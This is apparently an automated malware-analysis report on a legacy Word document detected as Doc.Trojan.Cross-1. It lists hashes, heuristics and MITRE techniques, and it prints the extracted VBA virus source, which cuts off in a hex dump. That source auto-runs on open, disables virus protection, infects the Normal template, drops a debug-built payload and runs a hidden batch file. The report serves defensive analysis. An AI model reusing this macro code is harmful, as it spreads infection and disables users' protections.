Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9379851d01bc221a…

MALICIOUS

Office (OLE)

302.5 KB Created: 1998-04-19 16:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6d0a3ae12735d0d1e7d1da4d1051750d SHA-1: cb1bb9a847134c7f4b05cbbad02b214dfb43ec1b SHA-256: 9379851d01bc221af4bfda445a5917e6447764d0dc8c622124604dd73b4120a0
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The file contains critical VBA heuristics indicating the use of the Shell() function and auto-executing macros (AutoOpen, AutoClose, AutoExec, AutoExit). The VBA script attempts to disable virus protection and save its macro code to 'c:\X.VIC', and then import it into the Normal template or active document, suggesting an attempt at persistence. The presence of 'Doc.Trojan.Cross-1' from ClamAV further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Trojan.Cross-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cross-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 473961 bytes
SHA-256: 87bb2bd09aa93260b7d818765499c899aa287882c5ec9c686ede1c3e83195de6
Detection
ClamAV: Doc.Trojan.Cross-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "X"
Public AxInst As Boolean
Public FoundKey As Boolean
Sub AutoOpen()
On Error Resume Next
FoundKey = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
Call CheckKey
Call CheckKey
Application.VBE.ActiveVBProject.VBComponents("X").Export "c:\X.VIC"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "X" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "X" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set SexR = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set SexR = ActiveDocument.VBProject
With SexR
With .VBComponents.Import("c:\X.VIC")
End With
End With
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Sub Info()
' Cross.Poppy Word Component
' --[Cross is a blend of SexR-1 and Detox]--
' by VicodinES / Sin Code IV (same person - mixed up letters)
End Sub
Sub ViewVBCode()
End Sub
Sub AutoClose()
Call AutoOpen
End Sub
Sub AutoExit()
Call AutoOpen
End Sub
Sub AutoExec()
Call AutoOpen
End Sub
Sub FindAx()
pName = "c:\program files\Microsoft Office\Office\"
'pName = "e:\Microsoft Office\Office\"
fName = Dir(pName & "MSACCESS.*")
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then AxInst = True
If AxInst = True Then Call DropKey("c:\Ax.yzv")
If AxInst = True Then Call DropDetox("c:\mydocu~1\data.scr")
If AxInst = True Then Call MakeBat("c:\mydocu~1\scram.bat")
End Sub
Sub MakeBat(strFile As String)
Dim hFile As Long
Close hFile
On Error Resume Next
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, "cd\"
Print #hFile, "cd mydocu~1"
Print #hFile, "debug < data.scr > nul"
Print #hFile, "copy data.com data.cab"
Print #hFile, "del data.com"
Print #hFile, "del data.scr"
Print #hFile, "extract data.cab /y"
Print #hFile, "path=c:\winnt;c:\windows\command;c:\progra~1\micros~1\office;c:\progra~1\micros~2\office" ';e:\micros~2\office"
Print #hFile, "start /m /w msaccess data.mdb"
Print #hFile, "del data.cab"
Print #hFile, "del scram.bat"
Close hFile
Shell ("c:\mydocu~1\scram.bat"), vbHide
End Sub
Sub DropKey(strFile As String)
Dim hFile As Long
Close hFile
On Error Resume Next
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "Cross.Poppy ID File"
Close hFile
End Sub
Sub DropDetox(strFile As String)
Dim hFile As Long
Close hFile
On Error Resume Next
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "N data.com"
Print #hFile, "E 0100 4D 53 43 46 00 00 00 00 C3 87 00 00 00 00 00 00"
Print #hFile, "E 0110 2C 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00"
Print #hFile, "E 0120 00 00 00 00 45 00 00 00 04 00 01 00 00 E0 01 00"
Print #hFile, "E 0130 00 00 00 00 00 00 93 24 0A 5C 20 00 64 61 74 61"
Print #hFile, "E 0140 2E 6D 64 62 00 58 9B E8 FD F2 06 00 80 43 4B ED"
Print #hFile, "E 0150 9C 5B 8C 13 55 18 C7 CF 99 7B A7 B3 B7 0E 20 2E"
Print #hFile, "E 0160 2A 55 11 10 63 22 78 8B 2F B2 B8 CB 26 4B 16 96"
Print #hFile, "E 0170 B0 60 4C 0C DA DB B4 B4 EE B6 75 3A BD B0 80 DD"
Print #hFile, "E 0180 17 4C E4 45 62 30 51 82 21 3E FA 64 78 C0 07 C2"
Print #hFile, "E 0190 93 41 78 31 62 7C D2 27 12 43 8C 18 D6 44 63 8C"
Print #hFile, "E 01A0 11 CD 78 2E 73 B6 B3 BB 15 31 51 5A D8 EF D7 CE"
Print #hFile, "E 01B0 F4 3F FF 9E 99 39 33 D3 ED 77 BE 6F DB 22 8C D0"
Print #hFile, "E 01C0 A4 97 2C 66 92 6E 26 BE C3 F1 E2 23 2F 20 CA D9"
Print #hFile, "E 01D0
... (truncated)